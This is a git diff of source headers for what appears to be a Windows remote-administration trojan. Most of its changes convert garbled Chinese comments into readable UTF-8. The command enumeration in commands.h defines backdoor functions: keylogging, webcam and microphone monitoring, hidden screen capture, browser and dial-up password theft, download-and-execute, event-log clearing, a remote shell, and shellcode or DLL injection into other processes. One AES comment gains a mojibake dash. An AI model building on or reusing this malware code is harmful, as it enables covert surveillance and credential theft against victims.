CProxyManager::SocksThreadhostname(LPVOID lparam) return 0; } - // sockaddr_inṹ + // 构造sockaddr_in结构 sockaddr_in ClientAddr; ClientAddr.sin_family = AF_INET; ClientAddr.sin_port = *(u_short*)&lpBuffer[5]; diff --git a/client/proxy/ProxyManager.h b/client/proxy/ProxyManager.h index ccdbbb1..bf52dc7 100644 --- a/client/proxy/ProxyManager.h +++ b/client/proxy/ProxyManager.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "Manager.h" #include diff --git a/client/reg_startup.h b/client/reg_startup.h index 7feadb3..6e0ff16 100644 --- a/client/reg_startup.h +++ b/client/reg_startup.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...); diff --git a/client/resource.h b/client/resource.h index 7af2257..3917163 100644 --- a/client/resource.h +++ b/client/resource.h @@ -1,6 +1,6 @@ -//{{NO_DEPENDENCIES}} -// Microsoft Visual C++ ɵİļ -// Script.rc ʹ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ 生成的包含文件。 +// 供 Script.rc 使用 // #define IDD_DIALOG 101 #define IDR_WAVE 102 diff --git a/client/resource1.h b/client/resource1.h index 8972a67..133f598 100644 --- a/client/resource1.h +++ b/client/resource1.h @@ -1,8 +1,8 @@ -//{{NO_DEPENDENCIES}} +//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by TestRun.rc -// ¶һĬֵ +// 新对象的下一组默认值 // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS diff --git a/common/aes.c b/common/aes.c index 0bb8cee..8f5ea28 100644 --- a/common/aes.c +++ b/common/aes.c @@ -1,4 +1,4 @@ -/* +/* This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode. Block size can be chosen in aes.h - available choices are AES128, AES192, AES256. @@ -128,7 +128,7 @@ static const uint8_t Rcon[11] = { * * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * - * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), + * "Only the first some of these constants are actually used 鈥?up to rcon[10] for AES-128 (as 11 round keys are needed), * up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */ diff --git a/common/aes.h b/common/aes.h index 1f0f56a..31f072d 100644 --- a/common/aes.h +++ b/common/aes.h @@ -1,4 +1,4 @@ -#ifndef _AES_H_ +#ifndef _AES_H_ #define _AES_H_ #include diff --git a/common/commands.h b/common/commands.h index 9c2f584..ef5cea7 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #include #include @@ -17,7 +17,7 @@ #include #define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3) #define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4) -#else // ʹøͷļ LINUX ʹ +#else // 使得该头文件在 LINUX 正常使用 #include #define strcat_s strcat #define sprintf_s sprintf @@ -67,7 +67,7 @@ typedef void* LPVOID, * HANDLE; #define _MAX_PATH 260 #endif -// 2ȫΨһɷʱ +// 以下2个数字需全局唯一,否则在生成服务时会出问题 #define FLAG_FINDEN "Hello, World!" @@ -100,12 +100,12 @@ inline int isValid_10s() return span <= 10; } -// Է仯ʱӦøֵԱԱس -#define DLL_VERSION __DATE__ // DLL汾 +// 当程序功能明显发生变化时,应该更新这个值,以便对被控程序进行区分 +#define DLL_VERSION __DATE__ // DLL版本 -#define TALK_DLG_MAXLEN 1024 // ַ +#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 -// ͻ״̬: 1-ض˳ 2-ض˳ +// 客户端状态: 1-被控端退出 2-主控端退出 enum State { S_CLIENT_NORMAL = 0, S_CLIENT_EXIT = 1, @@ -113,165 +113,165 @@ enum State { S_CLIENT_UPDATE = 3, }; -// öб +// 命令枚举列表 enum { - // ļ䷽ʽ - TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ - TRANSFER_MODE_ADDITION, // ׷ - TRANSFER_MODE_ADDITION_ALL, // ȫ׷ - TRANSFER_MODE_OVERWRITE, // - TRANSFER_MODE_OVERWRITE_ALL, // ȫ - TRANSFER_MODE_JUMP, // - TRANSFER_MODE_JUMP_ALL, // ȫ - TRANSFER_MODE_CANCEL, // ȡ + // 文件传输方式 + TRANSFER_MODE_NORMAL = 0x00, // 一般,如果本地或者远程已经有,取消 + TRANSFER_MODE_ADDITION, // 追加 + TRANSFER_MODE_ADDITION_ALL, // 全部追加 + TRANSFER_MODE_OVERWRITE, // 覆盖 + TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖 + TRANSFER_MODE_JUMP, // 覆盖 + TRANSFER_MODE_JUMP_ALL, // 全部覆盖 + TRANSFER_MODE_CANCEL, // 取消传送 - // ƶ˷ - COMMAND_ACTIVED = 0x00, // ˿Լʼ - COMMAND_LIST_DRIVE, // гĿ¼ - COMMAND_LIST_FILES, // гĿ¼еļ - COMMAND_DOWN_FILES, // ļ - COMMAND_FILE_SIZE, // ϴʱļС - COMMAND_FILE_DATA, // ϴʱļ - COMMAND_EXCEPTION, // ䷢쳣Ҫ´ - COMMAND_CONTINUE, // - COMMAND_STOP, // ֹ - COMMAND_DELETE_FILE, // ɾļ - COMMAND_DELETE_DIRECTORY, // ɾĿ¼ - COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ - COMMAND_CREATE_FOLDER, // ļ - COMMAND_RENAME_FILE, // ļļ - COMMAND_OPEN_FILE_SHOW, // ʾļ - COMMAND_OPEN_FILE_HIDE, // شļ + // 控制端发出的命令 + COMMAND_ACTIVED = 0x00, // 服务端可以激活开始工作 + COMMAND_LIST_DRIVE, // 列出磁盘目录 + COMMAND_LIST_FILES, // 列出目录中的文件 + COMMAND_DOWN_FILES, // 下载文件 + COMMAND_FILE_SIZE, // 上传时的文件大小 + COMMAND_FILE_DATA, // 上传时的文件数据 + COMMAND_EXCEPTION, // 传输发生异常,需要重新传输 + COMMAND_CONTINUE, // 传输正常,请求继续发送数据 + COMMAND_STOP, // 传输中止 + COMMAND_DELETE_FILE, // 删除文件 + COMMAND_DELETE_DIRECTORY, // 删除目录 + COMMAND_SET_TRANSFER_MODE, // 设置传输方式 + COMMAND_CREATE_FOLDER, // 创建文件夹 + COMMAND_RENAME_FILE, // 文件或文件改名 + COMMAND_OPEN_FILE_SHOW, // 显示打开文件 + COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件 - COMMAND_SCREEN_SPY, // Ļ鿴 - COMMAND_SCREEN_RESET, // ıĻ - COMMAND_ALGORITHM_RESET, // ı㷨 - COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del - COMMAND_SCREEN_CONTROL, // Ļ - COMMAND_SCREEN_BLOCK_INPUT, // ˼ - COMMAND_SCREEN_BLANK, // ˺ - COMMAND_SCREEN_CAPTURE_LAYER, // ׽ - COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ - COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ + COMMAND_SCREEN_SPY, // 屏幕查看 + COMMAND_SCREEN_RESET, // 改变屏幕深度 + COMMAND_ALGORITHM_RESET, // 改变算法 + COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del + COMMAND_SCREEN_CONTROL, // 屏幕控制 + COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入 + COMMAND_SCREEN_BLANK, // 服务端黑屏 + COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层 + COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版 + COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版 - COMMAND_WEBCAM, // ͷ - COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ - COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ - COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ - COMMAND_NEXT, // һ(ƶѾ򿪶Ի) + COMMAND_WEBCAM, // 摄像头 + COMMAND_WEBCAM_ENABLECOMPRESS, // 摄像头数据要求经过H263压缩 + COMMAND_WEBCAM_DISABLECOMPRESS, // 摄像头数据要求原始高清模式 + COMMAND_WEBCAM_RESIZE, // 摄像头调整分辩率,后面跟两个INT型的宽高 + COMMAND_NEXT, // 下一步(控制端已经打开对话框) - COMMAND_KEYBOARD, // ̼¼ - COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ - COMMAND_KEYBOARD_CLEAR, // ̼¼ + COMMAND_KEYBOARD, // 键盘记录 + COMMAND_KEYBOARD_OFFLINE, // 开启离线键盘记录 + COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容 - COMMAND_AUDIO, // + COMMAND_AUDIO, // 语音监听 - COMMAND_SYSTEM, // ϵͳ̣.... - COMMAND_PSLIST, // б - COMMAND_WSLIST, // б - COMMAND_DIALUPASS, // - COMMAND_KILLPROCESS, // رս + COMMAND_SYSTEM, // 系统管理(进程,窗口....) + COMMAND_PSLIST, // 进程列表 + COMMAND_WSLIST, // 窗口列表 + COMMAND_DIALUPASS, // 拨号密码 + COMMAND_KILLPROCESS, // 关闭进程 COMMAND_SHELL, // cmdshell - COMMAND_SESSION, // Ựػע, жأ - COMMAND_REMOVE, // жغ - COMMAND_DOWN_EXEC, // - ִ - COMMAND_UPLOAD_EXEC, // - ϴִ - COMMAND_CLEAN_EVENT, // - ϵͳ־ - COMMAND_OPEN_URL_HIDE, // - شҳ - COMMAND_OPEN_URL_SHOW, // - ʾҳ - COMMAND_RENAME_REMARK, // ע - COMMAND_REPLAY_HEARTBEAT, // ظ - COMMAND_SERVICES, // + COMMAND_SESSION, // 会话管理(关机,重启,注销, 卸载) + COMMAND_REMOVE, // 卸载后门 + COMMAND_DOWN_EXEC, // 其它功能 - 下载执行 + COMMAND_UPLOAD_EXEC, // 其它功能 - 上传执行 + COMMAND_CLEAN_EVENT, // 其它管理 - 清除系统日志 + COMMAND_OPEN_URL_HIDE, // 其它管理 - 隐藏打开网页 + COMMAND_OPEN_URL_SHOW, // 其它管理 - 显示打开网页 + COMMAND_RENAME_REMARK, // 重命名备注 + COMMAND_REPLAY_HEARTBEAT, // 回复心跳包 + COMMAND_SERVICES, // 服务管理 COMMAND_REGEDIT, - COMMAND_TALK, // ʱϢ֤ - COMMAND_UPDATE = 53, // ͻ - COMMAND_SHARE = 59, // - COMMAND_PROXY = 60, // ӳ - TOKEN_SYSINFOLIST = 61, // - TOKEN_CHAT_START = 62, // Զ̸̽ - TOKEN_UNINSTALL = 63, // ж - TOKEN_PRIVATESCREEN = 64, // ˽Ļ - TOKEN_MACHINE_MANAGE = 65, // - COMMAND_GET_FOLDER = 66, // ȡĿ¼ - COMMAND_GET_FILE = 67, // ȡļ - COMMAND_SEND_FILE = 68, // ļ + COMMAND_TALK, // 即时消息验证 + COMMAND_UPDATE = 53, // 客户端升级 + COMMAND_SHARE = 59, // 分享主机 + COMMAND_PROXY = 60, // 代理映射 + TOKEN_SYSINFOLIST = 61, // 主机管理 + TOKEN_CHAT_START = 62, // 远程交谈 + TOKEN_UNINSTALL = 63, // 卸载主机 + TOKEN_PRIVATESCREEN = 64, // 隐私屏幕 + TOKEN_MACHINE_MANAGE = 65, // 机器管理 + COMMAND_GET_FOLDER = 66, // 获取目录 + COMMAND_GET_FILE = 67, // 获取文件 + COMMAND_SEND_FILE = 68, // 发送文件 COMMAND_SWITCH_SCREEN = 69, CMD_MULTITHREAD_COMPRESS = 70, CMD_FPS = 71, - // ˷ıʶ - TOKEN_AUTH = 100, // Ҫ֤ - TOKEN_HEARTBEAT, // - TOKEN_LOGIN, // ߰ - TOKEN_DRIVE_LIST, // б - TOKEN_FILE_LIST, // ļб - TOKEN_FILE_SIZE, // ļСļʱ - TOKEN_FILE_DATA, // ļ - TOKEN_TRANSFER_FINISH, // - TOKEN_DELETE_FINISH, // ɾ - TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ - TOKEN_GET_FILEDATA, // Զ̵õļ - TOKEN_CREATEFOLDER_FINISH, // ļ - TOKEN_DATA_CONTINUE, // - TOKEN_RENAME_FINISH, // - TOKEN_EXCEPTION, // 쳣 + // 服务端发出的标识 + TOKEN_AUTH = 100, // 要求验证 + TOKEN_HEARTBEAT, // 心跳包 + TOKEN_LOGIN, // 上线包 + TOKEN_DRIVE_LIST, // 驱动器列表 + TOKEN_FILE_LIST, // 文件列表 + TOKEN_FILE_SIZE, // 文件大小,传输文件时用 + TOKEN_FILE_DATA, // 文件数据 + TOKEN_TRANSFER_FINISH, // 传输完毕 + TOKEN_DELETE_FINISH, // 删除完毕 + TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式 + TOKEN_GET_FILEDATA, // 远程得到本地文件数据 + TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成 + TOKEN_DATA_CONTINUE, // 继续传输数据 + TOKEN_RENAME_FINISH, // 改名操作完成 + TOKEN_EXCEPTION, // 操作发生异常 - TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO - TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ - TOKEN_NEXTSCREEN, // Ļ鿴һͼ - TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ + TOKEN_BITMAPINFO, // 屏幕查看的BITMAPINFO + TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图 + TOKEN_NEXTSCREEN, // 屏幕查看的下一张图 + TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容 - TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER - TOKEN_WEBCAM_DIB, // ͷͼ + TOKEN_WEBCAM_BITMAPINFO, // 摄像头的BITMAPINFOHEADER + TOKEN_WEBCAM_DIB, // 摄像头的图像数据 - TOKEN_AUDIO_START, // ʼ - TOKEN_AUDIO_DATA, // + TOKEN_AUDIO_START, // 开始语音监听 + TOKEN_AUDIO_DATA, // 语音监听数据 - TOKEN_KEYBOARD_START, // ̼¼ʼ - TOKEN_KEYBOARD_DATA, // ̼¼ + TOKEN_KEYBOARD_START, // 键盘记录开始 + TOKEN_KEYBOARD_DATA, // 键盘记录的数据 - TOKEN_PSLIST, // б - TOKEN_WSLIST, // б - TOKEN_DIALUPASS, // - TOKEN_SHELL_START, // Զն˿ʼ - TOKEN_SERVERLIST, // б - COMMAND_SERVICELIST, // ˢ·б - COMMAND_SERVICECONFIG, // ˷ıʶ - TOKEN_TALK_START, // ʱϢʼ - TOKEN_TALKCMPLT, // ʱϢط - TOKEN_KEYFRAME=134, // ؼ֡ - TOKEN_BITMAPINFO_HIDE, // Ļ - TOKEN_SCREEN_SIZE, // ĻС - TOKEN_DRIVE_LIST_PLUGIN = 150, // ļ() - TOKEN_DRAWING_BOARD=151, // + TOKEN_PSLIST, // 进程列表 + TOKEN_WSLIST, // 窗口列表 + TOKEN_DIALUPASS, // 拨号密码 + TOKEN_SHELL_START, // 远程终端开始 + TOKEN_SERVERLIST, // 服务列表 + COMMAND_SERVICELIST, // 刷新服务列表 + COMMAND_SERVICECONFIG, // 服务端发出的标识 + TOKEN_TALK_START, // 即时消息开始 + TOKEN_TALKCMPLT, // 即时消息可重发 + TOKEN_KEYFRAME=134, // 关键帧 + TOKEN_BITMAPINFO_HIDE, // 虚拟屏幕 + TOKEN_SCREEN_SIZE, // 屏幕大小 + TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件) + TOKEN_DRAWING_BOARD=151, // 画板 TOKEN_DECRYPT = 199, - TOKEN_REGEDIT = 200, // ע - COMMAND_REG_FIND, // ע ʶ + TOKEN_REGEDIT = 200, // 注册表 + COMMAND_REG_FIND, // 注册表 管理标识 TOKEN_REG_KEY, TOKEN_REG_PATH, - COMMAND_BYE, // ض˳ - SERVER_EXIT=205, // ض˳ + COMMAND_BYE, // 被控端退出 + SERVER_EXIT=205, // 主控端退出 COMMAND_CC, // CC - COMMAND_ASSIGN_MASTER, // - COMMAND_FILE_DETECT, // ļ̽ - COMMAND_FILE_REPORT, // ļϱ + COMMAND_ASSIGN_MASTER, // 分配主控 + COMMAND_FILE_DETECT, // 文件探测 + COMMAND_FILE_REPORT, // 文件上报 - SOCKET_DLLLOADER=210, // ͻDLL - CMD_DLLDATA, // ӦDLL - CMD_RUNASADMIN=214, // ADMIN - CMD_MASTERSETTING = 215, // - CMD_HEARTBEAT_ACK = 216, // Ӧ + SOCKET_DLLLOADER=210, // 客户端请求DLL + CMD_DLLDATA, // 响应DLL数据 + CMD_RUNASADMIN=214, // ADMIN 运行 + CMD_MASTERSETTING = 215, // 主控设置 + CMD_HEARTBEAT_ACK = 216, // 心跳回应 CMD_PADDING =217, - CMD_AUTHORIZATION = 222, // Ȩ - CMD_SERVER_ADDR = 229, // صַ - TOKEN_ERROR = 230, // ʾ - TOKEN_SHELL_DATA = 231, // ն˽ - CMD_EXECUTE_DLL = 240, // ִд - TOKEN_CLIENT_MSG = 241, // ͻϢ - CMD_SET_GROUP = 242, // ޸ķ - CMD_EXECUTE_DLL_NEW = 243, // ִд + CMD_AUTHORIZATION = 222, // 授权 + CMD_SERVER_ADDR = 229, // 主控地址 + TOKEN_ERROR = 230, // 错误提示 + TOKEN_SHELL_DATA = 231, // 终端结果 + CMD_EXECUTE_DLL = 240, // 执行代码 + TOKEN_CLIENT_MSG = 241, // 客户端消息 + CMD_SET_GROUP = 242, // 修改分组 + CMD_EXECUTE_DLL_NEW = 243, // 执行代码 }; enum MachineCommand { @@ -291,15 +291,15 @@ enum ProxyManager { COMMAND_PROXY_CONNECT_HOSTNAME, }; -// ̨Ļ +// 后台屏幕其他命令 enum HideScreenSpy { - COMMAND_FLUSH_HIDE, // ˢĻ - COMMAND_SCREEN_SETSCREEN_HIDE, // ÷ֱ - COMMAND_HIDE_USER, // Զ - COMMAND_HIDE_CLEAR, // ̨ - COMMAND_COMMAND_SCREENUALITY60_HIDE, // - COMMAND_COMMAND_SCREENUALITY85_HIDE, // - COMMAND_COMMAND_SCREENUALITY100_HIDE, // + COMMAND_FLUSH_HIDE, // 刷新屏幕 + COMMAND_SCREEN_SETSCREEN_HIDE, // 重置分辨率 + COMMAND_HIDE_USER, // 自定义命令 + COMMAND_HIDE_CLEAR, // 清理后台 + COMMAND_COMMAND_SCREENUALITY60_HIDE, // 清晰度 + COMMAND_COMMAND_SCREENUALITY85_HIDE, // 清晰度 + COMMAND_COMMAND_SCREENUALITY100_HIDE, // 清晰度 IDM_OPEN_Explorer = 33, IDM_OPEN_run, @@ -328,7 +328,7 @@ struct ZdyCmd { char cmdline[_MAX_PATH]; }; -// +// 解密数据 enum DecryptCommand { COMMAND_LLQ_GetChromePassWord, COMMAND_LLQ_GetEdgePassWord, @@ -341,11 +341,11 @@ enum DecryptCommand { typedef DecryptCommand BroType; -// Ƿҳж -#define CMD_WINDOW_CLOSE 0 // رմ -#define CMD_WINDOW_TEST 1 // +// 这是服务管理页面既有定义 +#define CMD_WINDOW_CLOSE 0 // 关闭窗口 +#define CMD_WINDOW_TEST 1 // 操作窗口 -// MachineManager ϵͳ, ǰöֵ˳򲻵޸ +// MachineManager 系统管理, 前几个枚举值顺序不得修改 enum MachineManager { COMMAND_MACHINE_PROCESS, COMMAND_MACHINE_WINDOWS, @@ -356,16 +356,16 @@ enum MachineManager { COMMAND_MACHINE_WIN32SERVICE, COMMAND_MACHINE_DRIVERSERVICE, COMMAND_MACHINE_TASK, - COMMAND_MACHINE_HOSTS, // + COMMAND_MACHINE_HOSTS, //不能乱序号 - COMMAND_APPUNINSTALL,//ж - COMMAND_WINDOW_OPERATE,//ڿ - COMMAND_WINDOW_CLOSE,//ر - COMMAND_PROCESS_KILL,// - COMMAND_PROCESS_KILLDEL,//----ɾ - COMMAND_PROCESS_DEL,//ǿɾ Ҫ - COMMAND_PROCESS_FREEZING,// - COMMAND_PROCESS_THAW,//ⶳ + COMMAND_APPUNINSTALL,//卸载 + COMMAND_WINDOW_OPERATE,//窗口控制 + COMMAND_WINDOW_CLOSE,//关闭 + COMMAND_PROCESS_KILL,//结束进程 + COMMAND_PROCESS_KILLDEL,//结束进程----删除 + COMMAND_PROCESS_DEL,//强制删除 不需要结束进程 + COMMAND_PROCESS_FREEZING,//冻结 + COMMAND_PROCESS_THAW,//解冻 COMMAND_HOSTS_SET,//hosts COMMAND_SERVICE_LIST_WIN32, @@ -407,7 +407,7 @@ struct WINDOWSINFO { int h; }; -// Զ̸̽ +// 远程交谈 enum ChatManager { COMMAND_NEXT_CHAT, COMMAND_CHAT_CLOSE, @@ -415,7 +415,7 @@ enum ChatManager { COMMAND_CHAT_SCREEN_UNLOCK, }; -// ļ +// 文件管理 enum FileManager { COMMAND_COMPRESS_FILE_PARAM=220, COMMAND_FILES_SEARCH_START, @@ -458,7 +458,7 @@ enum FileManager { TOKEN_FILE_SEARCHPLUS_NUMBER, }; -// Զ̻ +// 远程画板 enum RemoteDraw { CMD_DRAW_POINT = 0, CMD_DRAW_END = 1, @@ -471,19 +471,19 @@ enum RemoteDraw { }; enum { - CLIENT_TYPE_DLL = 0, // ͻ˴DLL - CLIENT_TYPE_ONE = 1, // ͻ˴ԵEXE - CLIENT_TYPE_MEMEXE = -1, // ڴEXE - CLIENT_TYPE_MODULE = 2, // DLLⲿ + CLIENT_TYPE_DLL = 0, // 客户端代码以DLL运行 + CLIENT_TYPE_ONE = 1, // 客户端代码以单个EXE运行 + CLIENT_TYPE_MEMEXE = -1, // 内存EXE运行 + CLIENT_TYPE_MODULE = 2, // DLL需由外部程序调用 CLIENT_TYPE_SHELLCODE = 4, // Shellcode - CLIENT_TYPE_MEMDLL = 5, // ڴDLL - CLIENT_TYPE_LINUX = 6, // LINUX ͻ + CLIENT_TYPE_MEMDLL = 5, // 内存DLL运行 + CLIENT_TYPE_LINUX = 6, // LINUX 客户端 }; enum { - SHARE_TYPE_YAMA = 0, // ͬ - SHARE_TYPE_HOLDINGHANDS = 1, // HoldingHands: https://github.com/yuanyuanxiang/HoldingHands - SHARE_TYPE_YAMA_FOREVER = 100, // ÷ + SHARE_TYPE_YAMA = 0, // 分享给同类程序 + SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands + SHARE_TYPE_YAMA_FOREVER = 100, // 永久分享 }; inline const char* GetClientType(int typ) @@ -534,21 +534,21 @@ inline int compareDates(const std::string& date1, const std::string& date2) return 0; } catch (const std::exception& e) { std::cerr << "Date parse error: " << e.what() << std::endl; - return -2; // ֵʾ + return -2; // 返回特殊值表示出错 } } -// öֵClientTypeƣֲȫһ£רΪ`TestRun` -// ָ`ServerDll`ʽ -// `TestRun` ֻڼоĿ +// 此枚举值和ClientType相似,但又不是完全一致,专为`TestRun`定制 +// 指本质上运行`ServerDll`的形式 +// `TestRun` 只用于技术研究目的 enum TestRunType { - Startup_DLL, // DLL - Startup_MEMDLL, // ڴDLL޴ļ - Startup_InjDLL, // Զע DLLעDLL·DLL - Startup_Shellcode, // Shell code ڵǰִshell code - Startup_InjSC, // Զ Shell code עִshell code - Startup_GhostMsc, // Windows - Startup_TestRunMsc, // Windows + Startup_DLL, // 磁盘DLL + Startup_MEMDLL, // 内存DLL(无磁盘文件) + Startup_InjDLL, // 远程注入 DLL(注入DLL路径,仍依赖磁盘DLL) + Startup_Shellcode, // 本地 Shell code (在当前程序执行shell code ) + Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code ) + Startup_GhostMsc, // Windows 服务 + Startup_TestRunMsc, // Windows 服务 }; inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) @@ -565,7 +565,7 @@ enum ProtoType { PROTO_TCP = 0, // TCP PROTO_UDP = 1, // UDP PROTO_HTTP = 2, // HTTP - PROTO_RANDOM = 3, // + PROTO_RANDOM = 3, // 随机 PROTO_KCP = 4, // KCP PROTO_HTTPS = 5, // HTTPS }; @@ -573,8 +573,8 @@ enum ProtoType { #define KCP_SESSION_ID 666 enum RunningType { - RUNNING_RANDOM = 0, // - RUNNING_PARALLEL = 1, // + RUNNING_RANDOM = 0, // 随机上线 + RUNNING_PARALLEL = 1, // 并发上线 }; enum ProtocolEncType { @@ -590,27 +590,27 @@ enum ClientCompressType { }; #pragma pack(push, 4) -// ӵسϢ +// 所连接的主控程序信息 typedef struct CONNECT_ADDRESS { public: - char szFlag[32]; // ʶ - char szServerIP[100]; // IP - char szPort[8]; // ض˿ - int iType; // ͻ - bool bEncrypt; // ϢǷ - char szBuildDate[12]; // (汾) - int iMultiOpen; // ִ֧򿪶 - int iStartup; // ʽ - int iHeaderEnc; // ݼ - char protoType; // Э - char runningType; // зʽ - char szGroupName[24]; // - char runasAdmin; // ǷȨ - char szReserved[11]; // ռλʹṹռ300ֽ - uint64_t clientID; // ͻΨһʶ - uint64_t parentHwnd; // ̴ھ - uint64_t superAdmin; // ԱID - char pwdHash[64]; // ϣ + char szFlag[32]; // 标识 + char szServerIP[100]; // 主控IP + char szPort[8]; // 主控端口 + int iType; // 客户端类型 + bool bEncrypt; // 上线信息是否加密 + char szBuildDate[12]; // 构建日期(版本) + int iMultiOpen; // 支持打开多个 + int iStartup; // 启动方式 + int iHeaderEnc; // 数据加密类型 + char protoType; // 协议类型 + char runningType; // 运行方式 + char szGroupName[24]; // 分组名称 + char runasAdmin; // 是否提升权限运行 + char szReserved[11]; // 占位,使结构体占据300字节 + uint64_t clientID; // 客户端唯一标识 + uint64_t parentHwnd; // 父进程窗口句柄 + uint64_t superAdmin; // 管理员主控ID + char pwdHash[64]; // 密码哈希 public: void SetType(int typ) @@ -715,8 +715,8 @@ public: #define FOREVER_RUN 2 -// ͻ˳߳Ϣṹ, 5Ա: -// ״̬(run)(h)ͨѶͻ(p)߲(user)Ϣ(conn). +// 客户端程序线程信息结构体, 包含5个成员: +// 运行状态(run)、句柄(h)、通讯客户端(p)、调用者参数(user)和连接信息(conn). struct ThreadInfo { int run; HANDLE h; @@ -740,27 +740,27 @@ struct ThreadInfo { }; struct PluginParam { - char IP[100]; // IP - int Port; // ض˿ - const State *Exit; // ͻ״̬ - const void* User; // CONNECT_ADDRESS* ָ + char IP[100]; // 主控IP + int Port; // 主控端口 + const State *Exit; // 客户端状态 + const void* User; // CONNECT_ADDRESS* 指针 PluginParam(const char*ip, int port, const State *s, const void* u=0) : Port(port), Exit(s), User(u) { strcpy_s(IP, ip); } }; -// ַַָָΪ +// 将字符串按指定字符分隔为向量 inline std::vector StringToVector(const std::string& str, char ch, int reserved = 1) { - // ʹַַָ + // 使用字符串流来分隔字符串 std::istringstream stream(str); std::string item; std::vector result; - // ֺŷַָ + // 按分号分隔字符串 while (std::getline(stream, item, ch)) { - result.push_back(item); // ַָӵ + result.push_back(item); // 将分隔出来的子字符串添加到结果向量中 } while (result.size() < reserved) result.push_back(""); @@ -769,40 +769,40 @@ inline std::vector StringToVector(const std::string& str, char ch, } enum LOGIN_RES { - RES_CLIENT_TYPE = 0, // - RES_SYSTEM_BITS = 1, // ϵͳλ - RES_SYSTEM_CPU = 2, // CPU - RES_SYSTEM_MEM = 3, // ϵͳڴ - RES_FILE_PATH = 4, // ļ· + RES_CLIENT_TYPE = 0, // 类型 + RES_SYSTEM_BITS = 1, // 系统位数 + RES_SYSTEM_CPU = 2, // CPU核数 + RES_SYSTEM_MEM = 3, // 系统内存 + RES_FILE_PATH = 4, // 文件路径 RES_RESVERD = 5, // ? - RES_INSTALL_TIME = 6, // װʱ - RES_INSTALL_INFO = 7, // װϢ - RES_PROGRAM_BITS = 8, // λ - RES_EXPIRED_DATE = 9, // - RES_CLIENT_LOC = 10, // λ - RES_CLIENT_PUBIP = 11, // ַ - RES_EXE_VERSION = 12, // EXE汾 - RES_USERNAME = 13, // û - RES_ISADMIN = 14, // ǷйԱȨ + RES_INSTALL_TIME = 6, // 安装时间 + RES_INSTALL_INFO = 7, // 安装信息 + RES_PROGRAM_BITS = 8, // 程序位数 + RES_EXPIRED_DATE = 9, // 到期日期 + RES_CLIENT_LOC = 10, // 地理位置 + RES_CLIENT_PUBIP = 11, // 公网地址 + RES_EXE_VERSION = 12, // EXE版本 + RES_USERNAME = 13, // 电脑用户名称 + RES_ISADMIN = 14, // 是否具有管理员权限 RES_MAX, }; -// ߺ͵ļϢ -// ˽ṹһ仯Сǰ汾Ŀͻ޷°. -// °ͻҲ޷ϰ汾س. -// Ϊˣ20241228ύΪṹԤֶΣԱδ֮ʱ֮ -// ޸Ĵ˽ṹ壬ټǰijߵд +// 服务上线后发送的计算机信息 +// 此结构体一旦发生变化(比如大小),则以前版本的客户端无法连接新版主控. +// 新版客户端也无法连接老版本的主控程序. +// 为此,自20241228提交以来,为这个结构体预留字段,以便未来之不时之需 +// 请勿再修改此结构体,除非你决定不再兼容以前的程序或者单独编写代码来兼容 typedef struct LOGIN_INFOR { - unsigned char bToken; // 1.½Ϣ - char OsVerInfoEx[156]; // 2.汾Ϣ - unsigned int dwCPUMHz; // 3.CPUƵ - char moduleVersion[24]; // 4.DLLģ汾 - char szPCName[240]; // 5. - char szMasterID[20]; // 5.1 ID - int bWebCamIsExist; // 6.Ƿͷ - unsigned int dwSpeed; // 7. - char szStartTime[20]; // 8.ʱ - char szReserved[512]; // 9.ֶ + unsigned char bToken; // 1.登陆信息 + char OsVerInfoEx[156]; // 2.版本信息 + unsigned int dwCPUMHz; // 3.CPU主频 + char moduleVersion[24]; // 4.DLL模块版本 + char szPCName[240]; // 5.主机名 + char szMasterID[20]; // 5.1 主控ID + int bWebCamIsExist; // 6.是否有摄像头 + unsigned int dwSpeed; // 7.网速 + char szStartTime[20]; // 8.启动时间 + char szReserved[512]; // 